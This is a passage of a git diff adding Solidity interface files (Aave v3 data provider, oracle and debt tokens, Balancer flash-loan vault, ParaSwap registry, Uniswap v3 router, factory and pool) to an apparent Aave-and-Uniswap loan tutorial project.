+   * @notice Updates the address of the price oracle sentinel.
+   * @param newPriceOracleSentinel The address of the new PriceOracleSentinel
+   */
+  function setPriceOracleSentinel(address newPriceOracleSentinel) external;
+
+  /**
+   * @notice Returns the address of the data provider.
+   * @return The address of the DataProvider
+   */
+  function getPoolDataProvider() external view returns (address);
+
+  /**
+   * @notice Updates the address of the data provider.
+   * @param newDataProvider The address of the new DataProvider
+   */
+  function setPoolDataProvider(address newDataProvider) external;
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IPoolDataProvider.sol b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IPoolDataProvider.sol
new file mode 100644
index 000000000..ebabab20b
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IPoolDataProvider.sol
@@ -0,0 +1,243 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+import {IPoolAddressesProvider} from './IPoolAddressesProvider.sol';
+
+/**
+ * @title IPoolDataProvider
+ * @author Aave
+ * @notice Defines the basic interface of a PoolDataProvider
+ */
+interface IPoolDataProvider {
+  struct TokenData {
+    string symbol;
+    address tokenAddress;
+  }
+
+  /**
+   * @notice Returns the address for the PoolAddressesProvider contract.
+   * @return The address for the PoolAddressesProvider contract
+   */
+  function ADDRESSES_PROVIDER() external view returns (IPoolAddressesProvider);
+
+  /**
+   * @notice Returns the list of the existing reserves in the pool.
+   * @dev Handling MKR and ETH in a different way since they do not have standard `symbol` functions.
+   * @return The list of reserves, pairs of symbols and addresses
+   */
+  function getAllReservesTokens() external view returns (TokenData[] memory);
+
+  /**
+   * @notice Returns the list of the existing ATokens in the pool.
+   * @return The list of ATokens, pairs of symbols and addresses
+   */
+  function getAllATokens() external view returns (TokenData[] memory);
+
+  /**
+   * @notice Returns the configuration data of the reserve
+   * @dev Not returning borrow and supply caps for compatibility, nor pause flag
+   * @param asset The address of the underlying asset of the reserve
+   * @return decimals The number of decimals of the reserve
+   * @return ltv The ltv of the reserve
+   * @return liquidationThreshold The liquidationThreshold of the reserve
+   * @return liquidationBonus The liquidationBonus of the reserve
+   * @return reserveFactor The reserveFactor of the reserve
+   * @return usageAsCollateralEnabled True if the usage as collateral is enabled, false otherwise
+   * @return borrowingEnabled True if borrowing is enabled, false otherwise
+   * @return stableBorrowRateEnabled True if stable rate borrowing is enabled, false otherwise
+   * @return isActive True if it is active, false otherwise
+   * @return isFrozen True if it is frozen, false otherwise
+   */
+  function getReserveConfigurationData(
+    address asset
+  )
+    external
+    view
+    returns (
+      uint256 decimals,
+      uint256 ltv,
+      uint256 liquidationThreshold,
+      uint256 liquidationBonus,
+      uint256 reserveFactor,
+      bool usageAsCollateralEnabled,
+      bool borrowingEnabled,
+      bool stableBorrowRateEnabled,
+      bool isActive,
+      bool isFrozen
+    );
+
+  /**
+   * @notice Returns the efficiency mode category of the reserve
+   * @param asset The address of the underlying asset of the reserve
+   * @return The eMode id of the reserve
+   */
+  function getReserveEModeCategory(address asset) external view returns (uint256);
+
+  /**
+   * @notice Returns the caps parameters of the reserve
+   * @param asset The address of the underlying asset of the reserve
+   * @return borrowCap The borrow cap of the reserve
+   * @return supplyCap The supply cap of the reserve
+   */
+  function getReserveCaps(
+    address asset
+  ) external view returns (uint256 borrowCap, uint256 supplyCap);
+
+  /**
+   * @notice Returns if the pool is paused
+   * @param asset The address of the underlying asset of the reserve
+   * @return isPaused True if the pool is paused, false otherwise
+   */
+  function getPaused(address asset) external view returns (bool isPaused);
+
+  /**
+   * @notice Returns the siloed borrowing flag
+   * @param asset The address of the underlying asset of the reserve
+   * @return True if the asset is siloed for borrowing
+   */
+  function getSiloedBorrowing(address asset) external view returns (bool);
+
+  /**
+   * @notice Returns the protocol fee on the liquidation bonus
+   * @param asset The address of the underlying asset of the reserve
+   * @return The protocol fee on liquidation
+   */
+  function getLiquidationProtocolFee(address asset) external view returns (uint256);
+
+  /**
+   * @notice Returns the unbacked mint cap of the reserve
+   * @param asset The address of the underlying asset of the reserve
+   * @return The unbacked mint cap of the reserve
+   */
+  function getUnbackedMintCap(address asset) external view returns (uint256);
+
+  /**
+   * @notice Returns the debt ceiling of the reserve
+   * @param asset The address of the underlying asset of the reserve
+   * @return The debt ceiling of the reserve
+   */
+  function getDebtCeiling(address asset) external view returns (uint256);
+
+  /**
+   * @notice Returns the debt ceiling decimals
+   * @return The debt ceiling decimals
+   */
+  function getDebtCeilingDecimals() external pure returns (uint256);
+
+  /**
+   * @notice Returns the reserve data
+   * @param asset The address of the underlying asset of the reserve
+   * @return unbacked The amount of unbacked tokens
+   * @return accruedToTreasuryScaled The scaled amount of tokens accrued to treasury that is to be minted
+   * @return totalAToken The total supply of the aToken
+   * @return totalStableDebt The total stable debt of the reserve
+   * @return totalVariableDebt The total variable debt of the reserve
+   * @return liquidityRate The liquidity rate of the reserve
+   * @return variableBorrowRate The variable borrow rate of the reserve
+   * @return stableBorrowRate The stable borrow rate of the reserve
+   * @return averageStableBorrowRate The average stable borrow rate of the reserve
+   * @return liquidityIndex The liquidity index of the reserve
+   * @return variableBorrowIndex The variable borrow index of the reserve
+   * @return lastUpdateTimestamp The timestamp of the last update of the reserve
+   */
+  function getReserveData(
+    address asset
+  )
+    external
+    view
+    returns (
+      uint256 unbacked,
+      uint256 accruedToTreasuryScaled,
+      uint256 totalAToken,
+      uint256 totalStableDebt,
+      uint256 totalVariableDebt,
+      uint256 liquidityRate,
+      uint256 variableBorrowRate,
+      uint256 stableBorrowRate,
+      uint256 averageStableBorrowRate,
+      uint256 liquidityIndex,
+      uint256 variableBorrowIndex,
+      uint40 lastUpdateTimestamp
+    );
+
+  /**
+   * @notice Returns the total supply of aTokens for a given asset
+   * @param asset The address of the underlying asset of the reserve
+   * @return The total supply of the aToken
+   */
+  function getATokenTotalSupply(address asset) external view returns (uint256);
+
+  /**
+   * @notice Returns the total debt for a given asset
+   * @param asset The address of the underlying asset of the reserve
+   * @return The total debt for asset
+   */
+  function getTotalDebt(address asset) external view returns (uint256);
+
+  /**
+   * @notice Returns the user data in a reserve
+   * @param asset The address of the underlying asset of the reserve
+   * @param user The address of the user
+   * @return currentATokenBalance The current AToken balance of the user
+   * @return currentStableDebt The current stable debt of the user
+   * @return currentVariableDebt The current variable debt of the user
+   * @return principalStableDebt The principal stable debt of the user
+   * @return scaledVariableDebt The scaled variable debt of the user
+   * @return stableBorrowRate The stable borrow rate of the user
+   * @return liquidityRate The liquidity rate of the reserve
+   * @return stableRateLastUpdated The timestamp of the last update of the user stable rate
+   * @return usageAsCollateralEnabled True if the user is using the asset as collateral, false
+   *         otherwise
+   */
+  function getUserReserveData(
+    address asset,
+    address user
+  )
+    external
+    view
+    returns (
+      uint256 currentATokenBalance,
+      uint256 currentStableDebt,
+      uint256 currentVariableDebt,
+      uint256 principalStableDebt,
+      uint256 scaledVariableDebt,
+      uint256 stableBorrowRate,
+      uint256 liquidityRate,
+      uint40 stableRateLastUpdated,
+      bool usageAsCollateralEnabled
+    );
+
+  /**
+   * @notice Returns the token addresses of the reserve
+   * @param asset The address of the underlying asset of the reserve
+   * @return aTokenAddress The AToken address of the reserve
+   * @return stableDebtTokenAddress The StableDebtToken address of the reserve
+   * @return variableDebtTokenAddress The VariableDebtToken address of the reserve
+   */
+  function getReserveTokensAddresses(
+    address asset
+  )
+    external
+    view
+    returns (
+      address aTokenAddress,
+      address stableDebtTokenAddress,
+      address variableDebtTokenAddress
+    );
+
+  /**
+   * @notice Returns the address of the Interest Rate strategy
+   * @param asset The address of the underlying asset of the reserve
+   * @return irStrategyAddress The address of the Interest Rate strategy
+   */
+  function getInterestRateStrategyAddress(
+    address asset
+  ) external view returns (address irStrategyAddress);
+
+  /**
+   * @notice Returns whether the reserve has FlashLoans enabled or disabled
+   * @param asset The address of the underlying asset of the reserve
+   * @return True if FlashLoans are enabled, false otherwise
+   */
+  function getFlashLoanEnabled(address asset) external view returns (bool);
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IPriceOracleGetter.sol b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IPriceOracleGetter.sol
new file mode 100644
index 000000000..0e0df3e73
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IPriceOracleGetter.sol
@@ -0,0 +1,30 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+/**
+ * @title IPriceOracleGetter
+ * @author Aave
+ * @notice Interface for the Aave price oracle.
+ */
+interface IPriceOracleGetter {
+  /**
+   * @notice Returns the base currency address
+   * @dev Address 0x0 is reserved for USD as base currency.
+   * @return Returns the base currency address.
+   */
+  function BASE_CURRENCY() external view returns (address);
+
+  /**
+   * @notice Returns the base currency unit
+   * @dev 1 ether for ETH, 1e8 for USD.
+   * @return Returns the base currency unit.
+   */
+  function BASE_CURRENCY_UNIT() external view returns (uint256);
+
+  /**
+   * @notice Returns the asset price in the base currency
+   * @param asset The address of the asset
+   * @return The price of the asset
+   */
+  function getAssetPrice(address asset) external view returns (uint256);
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IScaledBalanceToken.sol b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IScaledBalanceToken.sol
new file mode 100644
index 000000000..fe311fbb1
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IScaledBalanceToken.sol
@@ -0,0 +1,72 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+/**
+ * @title IScaledBalanceToken
+ * @author Aave
+ * @notice Defines the basic interface for a scaled-balance token.
+ */
+interface IScaledBalanceToken {
+  /**
+   * @dev Emitted after the mint action
+   * @param caller The address performing the mint
+   * @param onBehalfOf The address of the user that will receive the minted tokens
+   * @param value The scaled-up amount being minted (based on user entered amount and balance increase from interest)
+   * @param balanceIncrease The increase in scaled-up balance since the last action of 'onBehalfOf'
+   * @param index The next liquidity index of the reserve
+   */
+  event Mint(
+    address indexed caller,
+    address indexed onBehalfOf,
+    uint256 value,
+    uint256 balanceIncrease,
+    uint256 index
+  );
+
+  /**
+   * @dev Emitted after the burn action
+   * @dev If the burn function does not involve a transfer of the underlying asset, the target defaults to zero address
+   * @param from The address from which the tokens will be burned
+   * @param target The address that will receive the underlying, if any
+   * @param value The scaled-up amount being burned (user entered amount - balance increase from interest)
+   * @param balanceIncrease The increase in scaled-up balance since the last action of 'from'
+   * @param index The next liquidity index of the reserve
+   */
+  event Burn(
+    address indexed from,
+    address indexed target,
+    uint256 value,
+    uint256 balanceIncrease,
+    uint256 index
+  );
+
+  /**
+   * @notice Returns the scaled balance of the user.
+   * @dev The scaled balance is the sum of all the updated stored balance divided by the reserve's liquidity index
+   * at the moment of the update
+   * @param user The user whose balance is calculated
+   * @return The scaled balance of the user
+   */
+  function scaledBalanceOf(address user) external view returns (uint256);
+
+  /**
+   * @notice Returns the scaled balance of the user and the scaled total supply.
+   * @param user The address of the user
+   * @return The scaled balance of the user
+   * @return The scaled total supply
+   */
+  function getScaledUserBalanceAndSupply(address user) external view returns (uint256, uint256);
+
+  /**
+   * @notice Returns the scaled total supply of the scaled balance token. Represents sum(debt/index)
+   * @return The scaled total supply
+   */
+  function scaledTotalSupply() external view returns (uint256);
+
+  /**
+   * @notice Returns last index interest was accrued to the user's balance
+   * @param user The address of the user
+   * @return The last index interest was accrued to the user's balance, expressed in ray
+   */
+  function getPreviousIndex(address user) external view returns (uint256);
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IStableDebtToken.sol b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IStableDebtToken.sol
new file mode 100644
index 000000000..87ca18000
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IStableDebtToken.sol
@@ -0,0 +1,139 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+import {IInitializableDebtToken} from './IInitializableDebtToken.sol';
+
+/**
+ * @title IStableDebtToken
+ * @author Aave
+ * @notice Defines the interface for the stable debt token
+ * @dev It does not inherit from IERC20 to save in code size
+ */
+interface IStableDebtToken is IInitializableDebtToken {
+  /**
+   * @dev Emitted when new stable debt is minted
+   * @param user The address of the user who triggered the minting
+   * @param onBehalfOf The recipient of stable debt tokens
+   * @param amount The amount minted (user entered amount + balance increase from interest)
+   * @param currentBalance The balance of the user based on the previous balance and balance increase from interest
+   * @param balanceIncrease The increase in balance since the last action of the user 'onBehalfOf'
+   * @param newRate The rate of the debt after the minting
+   * @param avgStableRate The next average stable rate after the minting
+   * @param newTotalSupply The next total supply of the stable debt token after the action
+   */
+  event Mint(
+    address indexed user,
+    address indexed onBehalfOf,
+    uint256 amount,
+    uint256 currentBalance,
+    uint256 balanceIncrease,
+    uint256 newRate,
+    uint256 avgStableRate,
+    uint256 newTotalSupply
+  );
+
+  /**
+   * @dev Emitted when new stable debt is burned
+   * @param from The address from which the debt will be burned
+   * @param amount The amount being burned (user entered amount - balance increase from interest)
+   * @param currentBalance The balance of the user based on the previous balance and balance increase from interest
+   * @param balanceIncrease The increase in balance since the last action of 'from'
+   * @param avgStableRate The next average stable rate after the burning
+   * @param newTotalSupply The next total supply of the stable debt token after the action
+   */
+  event Burn(
+    address indexed from,
+    uint256 amount,
+    uint256 currentBalance,
+    uint256 balanceIncrease,
+    uint256 avgStableRate,
+    uint256 newTotalSupply
+  );
+
+  /**
+   * @notice Mints debt token to the `onBehalfOf` address.
+   * @dev The resulting rate is the weighted average between the rate of the new debt
+   * and the rate of the previous debt
+   * @param user The address receiving the borrowed underlying, being the delegatee in case
+   * of credit delegate, or same as `onBehalfOf` otherwise
+   * @param onBehalfOf The address receiving the debt tokens
+   * @param amount The amount of debt tokens to mint
+   * @param rate The rate of the debt being minted
+   * @return True if it is the first borrow, false otherwise
+   * @return The total stable debt
+   * @return The average stable borrow rate
+   */
+  function mint(
+    address user,
+    address onBehalfOf,
+    uint256 amount,
+    uint256 rate
+  ) external returns (bool, uint256, uint256);
+
+  /**
+   * @notice Burns debt of `user`
+   * @dev The resulting rate is the weighted average between the rate of the new debt
+   * and the rate of the previous debt
+   * @dev In some instances, a burn transaction will emit a mint event
+   * if the amount to burn is less than the interest the user earned
+   * @param from The address from which the debt will be burned
+   * @param amount The amount of debt tokens getting burned
+   * @return The total stable debt
+   * @return The average stable borrow rate
+   */
+  function burn(address from, uint256 amount) external returns (uint256, uint256);
+
+  /**
+   * @notice Returns the average rate of all the stable rate loans.
+   * @return The average stable rate
+   */
+  function getAverageStableRate() external view returns (uint256);
+
+  /**
+   * @notice Returns the stable rate of the user debt
+   * @param user The address of the user
+   * @return The stable rate of the user
+   */
+  function getUserStableRate(address user) external view returns (uint256);
+
+  /**
+   * @notice Returns the timestamp of the last update of the user
+   * @param user The address of the user
+   * @return The timestamp
+   */
+  function getUserLastUpdated(address user) external view returns (uint40);
+
+  /**
+   * @notice Returns the principal, the total supply, the average stable rate and the timestamp for the last update
+   * @return The principal
+   * @return The total supply
+   * @return The average stable rate
+   * @return The timestamp of the last update
+   */
+  function getSupplyData() external view returns (uint256, uint256, uint256, uint40);
+
+  /**
+   * @notice Returns the timestamp of the last update of the total supply
+   * @return The timestamp
+   */
+  function getTotalSupplyLastUpdated() external view returns (uint40);
+
+  /**
+   * @notice Returns the total supply and the average stable rate
+   * @return The total supply
+   * @return The average rate
+   */
+  function getTotalSupplyAndAvgRate() external view returns (uint256, uint256);
+
+  /**
+   * @notice Returns the principal debt balance of the user
+   * @return The debt balance of the user since the last burn/mint action
+   */
+  function principalBalanceOf(address user) external view returns (uint256);
+
+  /**
+   * @notice Returns the address of the underlying asset of this stableDebtToken (E.g. WETH for stableDebtWETH)
+   * @return The address of the underlying asset
+   */
+  function UNDERLYING_ASSET_ADDRESS() external view returns (address);
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IVariableDebtToken.sol b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IVariableDebtToken.sol
new file mode 100644
index 000000000..50602e6ca
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IVariableDebtToken.sol
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+import {IScaledBalanceToken} from './IScaledBalanceToken.sol';
+import {IInitializableDebtToken} from './IInitializableDebtToken.sol';
+
+/**
+ * @title IVariableDebtToken
+ * @author Aave
+ * @notice Defines the basic interface for a variable debt token.
+ */
+interface IVariableDebtToken is IScaledBalanceToken, IInitializableDebtToken {
+  /**
+   * @notice Mints debt token to the `onBehalfOf` address
+   * @param user The address receiving the borrowed underlying, being the delegatee in case
+   * of credit delegate, or same as `onBehalfOf` otherwise
+   * @param onBehalfOf The address receiving the debt tokens
+   * @param amount The amount of debt being minted
+   * @param index The variable debt index of the reserve
+   * @return True if the previous balance of the user is 0, false otherwise
+   * @return The scaled total debt of the reserve
+   */
+  function mint(
+    address user,
+    address onBehalfOf,
+    uint256 amount,
+    uint256 index
+  ) external returns (bool, uint256);
+
+  /**
+   * @notice Burns user variable debt
+   * @dev In some instances, a burn transaction will emit a mint event
+   * if the amount to burn is less than the interest that the user accrued
+   * @param from The address from which the debt will be burned
+   * @param amount The amount getting burned
+   * @param index The variable debt index of the reserve
+   * @return The scaled total debt of the reserve
+   */
+  function burn(address from, uint256 amount, uint256 index) external returns (uint256);
+
+  /**
+   * @notice Returns the address of the underlying asset of this debtToken (E.g. WETH for variableDebtWETH)
+   * @return The address of the underlying asset
+   */
+  function UNDERLYING_ASSET_ADDRESS() external view returns (address);
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/balancer-v2/IFlashLoanRecipient.sol b/basic/21-aave-uni-loan/contracts/interfaces/balancer-v2/IFlashLoanRecipient.sol
new file mode 100644
index 000000000..13970732f
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/balancer-v2/IFlashLoanRecipient.sol
@@ -0,0 +1,16 @@
+pragma solidity ^0.8.0;
+
+import {IERC20} from '../IERC20.sol';
+
+/**
+ * @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that
+ * don't override one of these declarations.
+ */
+interface IFlashLoanRecipient {
+  function receiveFlashLoan(
+        IERC20[] memory tokens,
+        uint256[] memory amounts,
+        uint256[] memory feeAmounts,
+        bytes memory userData
+    ) external;
+}
\ No newline at end of file
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/balancer-v2/IVault.sol b/basic/21-aave-uni-loan/contracts/interfaces/balancer-v2/IVault.sol
new file mode 100644
index 000000000..862416b8f
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/balancer-v2/IVault.sol
@@ -0,0 +1,17 @@
+pragma solidity ^0.8.0;
+
+import {IERC20} from '../IERC20.sol';
+import "./IFlashLoanRecipient.sol";
+
+/**
+ * @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that
+ * don't override one of these declarations.
+ */
+interface IVault {
+  function flashLoan(
+        IFlashLoanRecipient recipient,
+        IERC20[] memory tokens,
+        uint256[] memory amounts,
+        bytes memory userData
+    ) external;
+}
\ No newline at end of file
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/paraswap/AugustusRegistry.sol b/basic/21-aave-uni-loan/contracts/interfaces/paraswap/AugustusRegistry.sol
new file mode 100644
index 000000000..a84b190ae
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/paraswap/AugustusRegistry.sol
@@ -0,0 +1,20 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+library AugustusRegistry {
+  address public constant ETHEREUM = 0xa68bEA62Dc4034A689AA0F58A76681433caCa663;
+
+  address public constant POLYGON = 0xca35a4866747Ff7A604EF7a2A7F246bb870f3ca1;
+
+  address public constant AVALANCHE = 0xfD1E5821F07F1aF812bB7F3102Bfd9fFb279513a;
+
+  address public constant ARBITRUM = 0xdC6E2b14260F972ad4e5a31c68294Fba7E720701;
+
+  address public constant OPTIMISM = 0x6e7bE86000dF697facF4396efD2aE2C322165dC3;
+
+  address public constant BSC = 0x05b4486f643914a818eD93Afc07457e9074be211;
+
+  address public constant BNB = 0x05b4486f643914a818eD93Afc07457e9074be211;
+
+  address public constant BASE = 0x7E31B336F9E8bA52ba3c4ac861b033Ba90900bb3;
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/paraswap/IParaSwapAugustus.sol b/basic/21-aave-uni-loan/contracts/interfaces/paraswap/IParaSwapAugustus.sol
new file mode 100644
index 000000000..3b5191ac3
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/paraswap/IParaSwapAugustus.sol
@@ -0,0 +1,6 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.10;
+
+interface IParaSwapAugustus {
+  function getTokenTransferProxy() external view returns (address);
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/paraswap/IParaSwapAugustusRegistry.sol b/basic/21-aave-uni-loan/contracts/interfaces/paraswap/IParaSwapAugustusRegistry.sol
new file mode 100644
index 000000000..5c1988a3a
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/paraswap/IParaSwapAugustusRegistry.sol
@@ -0,0 +1,6 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.10;
+
+interface IParaSwapAugustusRegistry {
+  function isValidAugustus(address augustus) external view returns (bool);
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/uniswap-v3/ISwapRouter.sol b/basic/21-aave-uni-loan/contracts/interfaces/uniswap-v3/ISwapRouter.sol
new file mode 100644
index 000000000..35806a2a4
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/uniswap-v3/ISwapRouter.sol
@@ -0,0 +1,67 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity >=0.7.5;
+pragma abicoder v2;
+
+import '@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol';
+
+/// @title Router token swapping functionality
+/// @notice Functions for swapping tokens via Uniswap V3
+interface ISwapRouter is IUniswapV3SwapCallback {
+    struct ExactInputSingleParams {
+        address tokenIn;
+        address tokenOut;
+        uint24 fee;
+        address recipient;
+        uint256 deadline;
+        uint256 amountIn;
+        uint256 amountOutMinimum;
+        uint160 sqrtPriceLimitX96;
+    }
+
+    /// @notice Swaps `amountIn` of one token for as much as possible of another token
+    /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
+    /// @return amountOut The amount of the received token
+    function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);
+
+    struct ExactInputParams {
+        bytes path;
+        address recipient;
+        uint256 deadline;
+        uint256 amountIn;
+        uint256 amountOutMinimum;
+    }
+
+    /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
+    /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata
+    /// @return amountOut The amount of the received token
+    function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);
+
+    struct ExactOutputSingleParams {
+        address tokenIn;
+        address tokenOut;
+        uint24 fee;
+        address recipient;
+        uint256 deadline;
+        uint256 amountOut;
+        uint256 amountInMaximum;
+        uint160 sqrtPriceLimitX96;
+    }
+
+    /// @notice Swaps as little as possible of one token for `amountOut` of another token
+    /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata
+    /// @return amountIn The amount of the input token
+    function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn);
+
+    struct ExactOutputParams {
+        bytes path;
+        address recipient;
+        uint256 deadline;
+        uint256 amountOut;
+        uint256 amountInMaximum;
+    }
+
+    /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)
+    /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata
+    /// @return amountIn The amount of the input token
+    function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn);
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/uniswap-v3/IUniswapV3Factory.sol b/basic/21-aave-uni-loan/contracts/interfaces/uniswap-v3/IUniswapV3Factory.sol
new file mode 100644
index 000000000..540cfdc68
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/uniswap-v3/IUniswapV3Factory.sol
@@ -0,0 +1,78 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity >=0.5.0;
+
+/// @title The interface for the Uniswap V3 Factory
+/// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees
+interface IUniswapV3Factory {
+    /// @notice Emitted when the owner of the factory is changed
+    /// @param oldOwner The owner before the owner was changed
+    /// @param newOwner The owner after the owner was changed
+    event OwnerChanged(address indexed oldOwner, address indexed newOwner);
+
+    /// @notice Emitted when a pool is created
+    /// @param token0 The first token of the pool by address sort order
+    /// @param token1 The second token of the pool by address sort order
+    /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
+    /// @param tickSpacing The minimum number of ticks between initialized ticks
+    /// @param pool The address of the created pool
+    event PoolCreated(
+        address indexed token0,
+        address indexed token1,
+        uint24 indexed fee,
+        int24 tickSpacing,
+        address pool
+    );
+
+    /// @notice Emitted when a new fee amount is enabled for pool creation via the factory
+    /// @param fee The enabled fee, denominated in hundredths of a bip
+    /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee
+    event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);
+
+    /// @notice Returns the current owner of the factory
+    /// @dev Can be changed by the current owner via setOwner
+    /// @return The address of the factory owner
+    function owner() external view returns (address);
+
+    /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled
+    /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context
+    /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee
+    /// @return The tick spacing
+    function feeAmountTickSpacing(uint24 fee) external view returns (int24);
+
+    /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist
+    /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order
+    /// @param tokenA The contract address of either token0 or token1
+    /// @param tokenB The contract address of the other token
+    /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
+    /// @return pool The pool address
+    function getPool(
+        address tokenA,
+        address tokenB,
+        uint24 fee
+    ) external view returns (address pool);
+
+    /// @notice Creates a pool for the given two tokens and fee
+    /// @param tokenA One of the two tokens in the desired pool
+    /// @param tokenB The other of the two tokens in the desired pool
+    /// @param fee The desired fee for the pool
+    /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved
+    /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments
+    /// are invalid.
+    /// @return pool The address of the newly created pool
+    function createPool(
+        address tokenA,
+        address tokenB,
+        uint24 fee
+    ) external returns (address pool);
+
+    /// @notice Updates the owner of the factory
+    /// @dev Must be called by the current owner
+    /// @param _owner The new owner of the factory
+    function setOwner(address _owner) external;
+
+    /// @notice Enables a fee amount with the given tickSpacing
+    /// @dev Fee amounts may never be removed once enabled
+    /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)
+    /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount
+    function enableFeeAmount(uint24 fee, int24 tickSpacing) external;
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/uniswap-v3/IUniswapV3Pool.sol b/basic/21-aave-uni-loan/contracts/interfaces/uniswap-v3/IUniswapV3Pool.sol
new file mode 100644
index 000000000..9c048bfab
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/uniswap-v3/IUniswapV3Pool.sol
@@ -0,0 +1,65 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity >=0.5.0;
+
+interface IUniswapV3Pool {
+    function slot0() external view returns (
+        // the current price
+        uint160 sqrtPriceX96,
+        // the current tick
+        int24 tick,
+        // the most-recently updated index of the observations array
+        uint16 observationIndex,
+        // the current maximum number of observations that are being stored
+        uint16 observationCardinality,
+        // the next maximum number of observations to store, triggered in observations.write
+        uint16 observationCardinalityNext,
+        // the current protocol fee as a percentage of the swap fee taken on withdrawal
+        // represented as an integer denominator (1/x)%
+        uint8 feeProtocol,
+        // whether the pool is locked
+        bool unlocked
+    );
+
+    function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
+
+    function observations(uint256 index)
+        external
+        view
+        returns (
+            uint32 blockTimestamp,
+            int56 tickCumulative,
+            uint160 secondsPerLiquidityCumulativeX128,
+            bool initialized
+        );
+
+    function liquidity() external view returns (uint128);
+
+    function token0() external view returns (address);
+
+    function token1() external view returns (address);
+
+    function fee() external view returns (uint24);
+
+    function observe(uint32[] calldata secondsAgos)
+        external
+        view
+        returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
+
+    function flash(address, uint256, uint256, bytes calldata) external;
+
+    function mint(address, int24, int24, uint128, bytes calldata) external;
+
+    function burn(int24, int24, uint128) external returns (uint256, uint256);
+
+    function collect(address, int24, int24, uint128, uint128) external;
+
+    function swap(
+        address recipient,
+        bool zeroForOne,
+        int256 amountSpecified,
+        uint160 sqrtPriceLimitX96,
+        bytes calldata data
+    ) external returns (int256 amount0, int256 amount1);
+
+    function initialize(uint160 sqrtPriceX96) external;
+}
diff --git a/basic/21-aave-uni-loan/contracts/libraries/DataTypes.sol b/basic/21-aave-uni-loan/contracts/libraries/DataTypes.sol
new file mode 100644
index 000000000..e6e20ab18
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/libraries/DataTypes.sol
@@ -0,0 +1,265 @@
+// SPDX-License-Identifier: BUSL-1.1
+pragma solidity ^0.8.0;
+
